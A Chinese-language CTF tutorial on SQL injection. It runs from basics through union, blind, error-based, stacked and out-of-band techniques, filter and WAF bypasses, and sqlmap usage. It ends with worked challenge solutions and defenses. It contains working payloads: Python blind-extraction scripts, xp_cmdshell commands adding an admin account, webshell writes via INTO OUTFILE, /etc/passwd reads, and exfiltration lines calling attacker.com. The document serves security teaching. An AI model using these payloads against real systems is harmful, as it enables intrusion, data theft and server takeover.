CTF-WEB-SQL注入

第一部分:SQL注入基础

1.1 SQL注入概述

SQL 注入是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

1.1.1 SQL注入的危害

SQL注入可以导致以下严重后果:

  • 绕过认证机制,非法登录系统
  • 窃取、篡改、删除数据库中的敏感数据
  • 执行系统命令,控制服务器
  • 读取服务器上的任意文件
  • 向服务器上传恶意文件
  • 完全控制数据库服务器

1.1.2 SQL注入原理

SQL注入的根本原因是程序没有对用户输入进行严格的过滤,导致用户输入被拼接到SQL语句中执行。例如:

1
2
3
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

如果用户输入admin' --作为用户名,构造的SQL语句将变为:

1
SELECT * FROM users WHERE username='admin' -- ' AND password=''

--是SQL中的注释符,这使得密码验证被注释掉,攻击者可以无需密码直接以admin身份登录。

1.2 SQL注入分类

SQL注入可以根据不同的标准进行分类:

1.2.1 按照注入点类型分类

  1. 数字型注入:注入点为数字,不需要单引号闭合
1
SELECT * FROM users WHERE id=1

注入示例:1 OR 1=1

  1. 字符型注入:注入点为字符串,需要单引号闭合
1
SELECT * FROM users WHERE username='admin'

注入示例:admin' OR '1'='1

  1. 搜索型注入:通常出现在搜索功能中,使用LIKE关键字
1
SELECT * FROM products WHERE name LIKE '%手机%'

注入示例:%' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables)) AND '%'='

1.2.2 按照数据返回方式分类

  1. 显错注入(Error-based):页面会返回数据库的错误信息
  2. 盲注(Blind Injection)
    • 布尔盲注(Boolean-based):根据页面返回的真假条件判断
    • 时间盲注(Time-based):通过页面响应时间判断
  3. 联合查询注入(Union-based):使用UNION合并查询结果
  4. 堆叠查询注入(Stacked queries):执行多条SQL语句

1.2.3 按照注入位置分类

  1. GET注入:通过URL参数注入
  2. POST注入:通过表单POST数据注入
  3. Cookie注入:通过Cookie数据注入
  4. HTTP头注入:通过User-Agent、Referer等HTTP头注入

1.3 SQL注入检测方法

1.3.1 手动检测

  1. 单引号测试:输入单引号',查看是否报错
  2. 布尔测试
    • 输入1' AND '1'='11' AND '1'='2,观察页面差异
    • 输入1' OR '1'='1,观察是否返回所有记录
  3. 数字型测试
    • 输入1 AND 1=11 AND 1=2,观察页面差异
  4. 注释符测试:尝试使用--#/* */等注释符

1.3.2 自动化工具检测

  1. SQLmap:最强大的SQL注入自动化工具
  2. Burp Suite:可配合手动测试进行半自动化检测
  3. Havij:图形化SQL注入工具
  4. NoSQLMap:针对NoSQL注入的工具

第二部分:SQL注入技术详解

2.1 联合查询注入(Union-based)

联合查询注入是最常见的注入方式之一,利用UNION操作符将恶意查询结果合并到原始查询结果中。

2.1.1 基本步骤

  1. 确定注入点
  2. 确定字段数(使用ORDER BY)
  3. 确定回显位置
  4. 获取数据库信息
  5. 获取表名
  6. 获取列名
  7. 获取数据

2.1.2 详细过程

步骤1:确定字段数

1
2
3
4
' ORDER BY 1-- 
' ORDER BY 2--
...
' ORDER BY n--

当n超过实际字段数时页面会报错,从而确定字段数。

步骤2:确定回显位置

1
' UNION SELECT 1,2,3,...,n-- 

观察页面中显示的数字位置,这些位置可以用来回显数据。

步骤3:获取数据库信息

1
' UNION SELECT 1,database(),user(),version(),5-- 

步骤4:获取表名

MySQL:

1
' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- 

SQL Server:

1
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- 

Oracle:

1
' UNION SELECT 1,table_name,3,4 FROM all_tables-- 

步骤5:获取列名

MySQL:

1
' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- 

SQL Server:

1
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'-- 

Oracle:

1
' UNION SELECT 1,column_name,3,4 FROM all_tab_columns WHERE table_name='USERS'-- 

步骤6:获取数据

1
' UNION SELECT 1,username,password,4 FROM users-- 

2.2 布尔盲注(Boolean-based Blind)

当页面没有明显错误回显,但会根据查询条件返回不同内容时,可以使用布尔盲注。

2.2.1 基本技术

  1. 使用条件语句判断单个字符
  2. 通过二分法加速猜测过程
  3. 构造真/假条件观察页面差异

2.2.2 示例

判断数据库名长度

1
' AND (SELECT length(database()))=5-- 

判断数据库名第一个字符

1
' AND (SELECT substring(database(),1,1))='a'-- 

完整自动化脚本示例(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://example.com/vuln.php?id=1"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"

def get_database_name():
name = ""
for i in range(1, 50):
low = 0
high = len(chars) - 1
found = False
while low <= high:
mid = (low + high) // 2
payload = f"' AND (SELECT ascii(substring(database(),{i},1)))>{ord(chars[mid])}-- "
r = requests.get(url + payload)
if "exists" in r.text: # 假设存在"exists"表示真
low = mid + 1
else:
high = mid - 1
if low < len(chars):
name += chars[low]
print(name)
else:
break
return name

print(get_database_name())

2.3 时间盲注(Time-based Blind)

当页面没有任何回显差异时,可以使用时间盲注,通过页面响应时间判断条件真假。

2.3.1 常用延时函数

  • MySQL:SLEEP(5), BENCHMARK(10000000,MD5('a'))
  • SQL Server:WAITFOR DELAY '0:0:5'
  • PostgreSQL:pg_sleep(5)
  • Oracle:DBMS_LOCK.SLEEP(5)

2.3.2 示例

MySQL时间盲注

1
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- 

自动化脚本示例(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

url = "http://example.com/vuln.php?id=1"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"

def get_database_name():
name = ""
for i in range(1, 50):
for c in chars:
payload = f"' AND IF(SUBSTRING(database(),{i},1)='{c}',SLEEP(5),0)-- "
start = time.time()
requests.get(url + payload)
end = time.time()
if end - start > 4:
name += c
print(name)
break
else:
break
return name

print(get_database_name())

2.4 报错注入(Error-based)

利用数据库报错信息获取数据,通常需要特定函数。

2.4.1 MySQL报错函数

  1. extractvalue()

    1
    ' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- 
  2. updatexml()

    1
    ' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- 
  3. floor()

    1
    ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- 

2.4.2 SQL Server报错函数

1
' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))-- 

2.4.3 Oracle报错函数

1
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))-- 

2.5 堆叠查询(Stacked Queries)

堆叠查询允许执行多条SQL语句,语句间用分号分隔。

2.5.1 支持数据库

  • SQL Server
  • PostgreSQL
  • MySQL(需要特定配置)

2.5.2 示例

SQL Server示例

1
2
'; EXEC xp_cmdshell 'net user test test /add'-- 
'; EXEC xp_cmdshell 'net localgroup administrators test /add'--

MySQL示例(需要支持多语句)

1
2
'; DROP TABLE users; -- 
'; SELECT * FROM users INTO OUTFILE '/var/www/html/backdoor.php' LINES TERMINATED BY '<?php system($_GET["cmd"]); ?>';--

2.6 带外数据(OOB)注入

当常规注入无法直接获取数据时,可以使用带外通道技术。

2.6.1 常用技术

  1. DNS外带
  2. HTTP请求外带

2.6.2 MySQL DNS外带示例

1
' AND (SELECT LOAD_FILE(concat('\\\\',(SELECT database()),'.attacker.com\\share\\')))-- 

2.6.3 SQL Server HTTP外带示例

1
'; DECLARE @data VARCHAR(1024); SELECT @data=(SELECT TOP 1 table_name FROM information_schema.tables); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share\"');-- 

第三部分:CTF中常见SQL注入题型与解法

3.1 基础注入题

题型特征

  • 明显的注入点
  • 直接回显或错误信息
  • 简单的过滤

解法

  1. 使用联合查询获取数据
  2. 可能需要绕过简单过滤

示例(CTF题目解法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 确定字段数
1' ORDER BY 3--

# 确定回显位置
1' UNION SELECT 1,2,3--

# 获取数据库信息
1' UNION SELECT 1,database(),user()--

# 获取表名
1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

# 获取flag
1' UNION SELECT 1,flag,3 FROM secret_table--

3.2 盲注题

题型特征

  • 无直接回显
  • 只有正确/错误两种状态
  • 可能需要时间盲注

解法

  1. 编写自动化脚本爆破
  2. 使用二分法加速
  3. 可能需要处理延迟和超时

示例(CTF题目解法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string

url = "http://ctf.example.com/challenge"
chars = string.ascii_letters + string.digits + "_-{}"

flag = ""
for i in range(1, 50):
for c in chars:
payload = f"admin' AND SUBSTRING((SELECT flag FROM flag_table),{i},1)='{c}'-- "
data = {"username": payload, "password": "123"}
r = requests.post(url, data=data)
if "Welcome admin" in r.text:
flag += c
print(flag)
if c == "}":
exit()
break
else:
break

3.3 过滤绕过题

题型特征

  • 过滤了常见关键词(如SELECT, UNION, 空格等)
  • 需要创造性绕过

常见绕过技术

  1. 大小写绕过SeLeCt
  2. 双写绕过SELSELECTECT
  3. 注释绕过SEL/*xxx*/ECT
  4. 编码绕过:十六进制0x53454C454354
  5. 等价函数/语法替换
    • ||代替OR
    • &&代替AND
    • LIKE代替=
  6. 空白符替换
    • %09 TAB
    • %0a 换行
    • %0c 换页
    • %0d 回车
    • %0b 垂直TAB
    • /**/ 注释作为空格

示例(CTF题目解法)

假设过滤了SELECT和空格:

1
2
3
4
5
6
7
8
9
10
# 使用大小写和/**/绕过
1'/**/UnIoN/**/sElEcT/**/1,2,3--

# 使用十六进制编码
1' UNION SELECT 1,2,3--
# 等价于
1' UNION 0x53454C454354 1,2,3--

# 使用注释分割
1'/*!UNION*//*!SELECT*/1,2,3--

3.4 二次注入题

题型特征

  • 输入先被存储后使用
  • 直接注入无效
  • 需要分两步进行

解法

  1. 注册或提交包含恶意SQL片段的输入
  2. 触发存储的恶意代码执行

示例(CTF题目解法)

  1. 注册用户名:admin'--

  2. 修改密码时,后台SQL:

    1
    UPDATE users SET password='newpass' WHERE username='admin'-- '

    这会导致admin用户的密码被修改

3.5 SQLite注入题

题型特征

  • 使用SQLite数据库
  • 特殊的系统表和函数

特殊点

  1. 系统表:sqlite_master
  2. 没有information_schema
  3. 字符串连接用||
  4. 注释只有--

示例(CTF题目解法)

1
2
3
4
5
6
7
8
# 获取表名
1' UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'--

# 获取列名
1' UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='users'--

# 获取数据
1' UNION SELECT 1,username||':'||password,3 FROM users--

3.6 NoSQL注入题

题型特征

  • 使用MongoDB等NoSQL数据库
  • 查询语法不同
  • 通常使用JSON格式

常见注入技术

  1. 运算符注入

    1
    {"username": {"$ne": ""}, "password": {"$ne": ""}}
  2. 正则注入

    1
    {"username": {"$regex": "^a"}, "password": {"$ne": ""}}
  3. JavaScript注入

    1
    {"$where": "this.username == 'admin' && this.password.length > 0"}

示例(CTF题目解法)

1
2
3
4
5
# 绕过登录
POST /login
Content-Type: application/json

{"username": {"$ne": ""}, "password": {"$ne": ""}}

3.7 文件读写题

题型特征

  • 需要读取服务器文件
  • 或写入webshell

解法

MySQL读取文件

1
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- 

MySQL写入文件

1
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- 

PostgreSQL读取文件

1
' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- 

PostgreSQL写入文件

1
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- 

SQL Server读取文件

1
'; CREATE TABLE temp(data text); BULK INSERT temp FROM 'c:\windows\win.ini'; SELECT * FROM temp-- 

3.8 堆叠注入与命令执行题

题型特征

  • 支持多语句执行
  • 可能需要执行系统命令

解法

SQL Server执行命令

1
'; EXEC xp_cmdshell 'whoami'-- 

PostgreSQL执行命令

1
'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('whoami');-- 

MySQL(UDF提权)

1
'; SELECT sys_exec('whoami')-- 

第四部分:防御技术与绕过进阶

4.1 常见防御技术

  1. 输入过滤
    • 关键字过滤
    • 特殊字符过滤
  2. 参数化查询
    • 使用预处理语句
    • 绑定参数
  3. 最小权限原则
    • 数据库账户降权
    • 限制网络访问
  4. WAF防护
    • 基于规则的过滤
    • 行为分析
  5. 其他措施
    • 错误信息隐藏
    • 输入长度限制
    • 二次验证

4.2 高级绕过技术

4.2.1 WAF绕过技术

  1. 注释混淆
1
SEL/*xxxx*/ECT
  1. 空白符变异
1
SELECT%0a*%0cFROM%0dusers
  1. 函数分割
1
CONCAT('sel','ect')
  1. 编码绕过

    • URL编码
    • 十六进制编码
    • Unicode编码
  2. HTTP参数污染

1
?id=1&id=2' UNION SELECT 1,2,3-- 
  1. 缓冲区溢出

    • 超长参数使WAF无法处理

4.2.2 预处理语句绕过

  1. 二次注入

    • 先存储恶意代码再触发
  2. 非参数化部分注入

    • 表名、列名、ORDER BY等位置
  3. PDO模拟预处理绕过

1
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

4.2.3 云WAF绕过

  1. IP轮询:切换IP地址
  2. 协议层攻击:HTTP/2特性利用
  3. 资源限制绕过:慢速攻击
  4. 0day利用:未知规则绕过

4.3 防御最佳实践

  1. 代码层面
    • 使用参数化查询
    • 使用ORM框架
    • 白名单验证输入
  2. 架构层面
    • 部署WAF
    • 数据库最小权限
    • 网络隔离
  3. 运维层面
    • 定期更新补丁
    • 日志审计
    • 安全测试

第五部分:SQL注入实战工具

5.1 SQLmap详解

SQLmap是最强大的自动化SQL注入工具,支持多种数据库和注入技术。

5.1.1 基本用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检测注入点
sqlmap -u "http://example.com/?id=1"

# 获取数据库
sqlmap -u "http://example.com/?id=1" --dbs

# 获取表
sqlmap -u "http://example.com/?id=1" -D database_name --tables

# 获取列
sqlmap -u "http://example.com/?id=1" -D database_name -T table_name --columns

# 获取数据
sqlmap -u "http://example.com/?id=1" -D database_name -T table_name -C "username,password" --dump

5.1.2 高级功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 使用POST请求
sqlmap -u "http://example.com/login" --data="username=admin&password=123"

# 使用Cookie
sqlmap -u "http://example.com/" --cookie="PHPSESSID=1234" --level=2

# 使用代理
sqlmap -u "http://example.com/" --proxy="http://127.0.0.1:8080"

# 执行OS命令
sqlmap -u "http://example.com/?id=1" --os-cmd="whoami"

# 获取交互式shell
sqlmap -u "http://example.com/?id=1" --os-shell

# 绕过WAF
sqlmap -u "http://example.com/?id=1" --tamper="space2comment.py"

5.2 其他实用工具

  1. Burp Suite:拦截修改请求,半自动化测试
  2. NoSQLMap:针对NoSQL注入
  3. Havij:图形化SQL注入工具
  4. jSQL Injection:Java编写的轻量级注入工具

第六部分:CTF SQL注入实战案例

6.1 案例1:基础联合查询注入

题目描述

解题步骤

  1. 测试注入点
1
http://ctf.example.com/challenge1?id=1'

发现报错,存在注入

  1. 确定字段数
1
http://ctf.example.com/challenge1?id=1 ORDER BY 3-- 

测试到4时报错,确定3个字段

  1. 确定回显位置
1
http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,2,3-- 

发现2,3位置有回显

  1. 获取数据库信息
1
http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,database(),user()-- 

得到数据库名:ctf_db

  1. 获取表名
1
http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='ctf_db'-- 

得到表名:products,flag_table

  1. 获取flag
1
http://ctf.example.com/challenge1?id=-1 UNION SELECT 1,flag,3 FROM flag_table-- 

成功获取flag

6.2 案例2:盲注挑战

题目描述

解题步骤

  1. 分析登录逻辑
1
SELECT * FROM users WHERE username='input' AND password='input'
  1. 编写Python脚本爆破密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string

url = "http://ctf.example.com/challenge2"
chars = string.ascii_letters + string.digits + "!@#$%^&*()_+-="
password = ""

for i in range(1, 32):
for c in chars:
payload = f"admin' AND SUBSTRING(password,{i},1)='{c}'-- "
data = {"username": payload, "password": "123"}
r = requests.post(url, data=data)
if "Welcome" in r.text:
password += c
print(password)
break
  1. 运行脚本获取密码
    最终得到admin密码:s3cr3tP@ssw0rd

6.3 案例3:过滤绕过挑战

题目描述

解题步骤

  1. 测试过滤规则

    • 发现SELECT被过滤
    • 空格被过滤
    • UNION被过滤
  2. 使用大小写和/**/绕过

1
http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,2,3-- 
  1. 获取数据库信息
1
http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,database(),user()-- 
  1. 使用十六进制绕过表名过滤
1
http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,group_concat(table_name),3/**/FrOm/**/information_schema.tables/**/WhErE/**/table_schema=0x6374665f6462-- 

(0x6374665f6462是’ctf_db’的十六进制)

  1. 最终获取flag
1
http://ctf.example.com/challenge3?id=-1'/**/UnIoN/**/SeLeCt/**/1,flag,3/**/FrOm/**/flag_table-- 

第七部分:SQL注入练习平台推荐

  1. DVWA (Damn Vulnerable Web Application)
    • 包含多种漏洞环境
    • 可调节安全等级
  2. SQLi Labs
    • 专注SQL注入练习
    • 多种注入场景
  3. Web Security Academy (PortSwigger)
    • 专业的Web安全学习平台
    • 包含SQL注入实验
  4. Hack The Box
    • 综合渗透测试平台
    • 包含SQL注入挑战
  5. CTF比赛平台
    • CTFHub
    • BugKu
    • PicoCTF

结语

SQL注入作为Web安全中最经典也最危险的漏洞之一,在CTF比赛中占据重要地位。掌握SQL注入不仅需要理解各种注入技术,还需要熟悉不同数据库的特性、常见的防御手段以及相应的绕过方法。通过系统的学习和大量的实践,才能在各种CTF挑战中游刃有余。

记住,在真实环境中进行SQL注入测试必须获得授权,未经授权的测试可能触犯法律。CTF比赛提供了合法的环境来磨练这些技能,是学习Web安全的绝佳途径。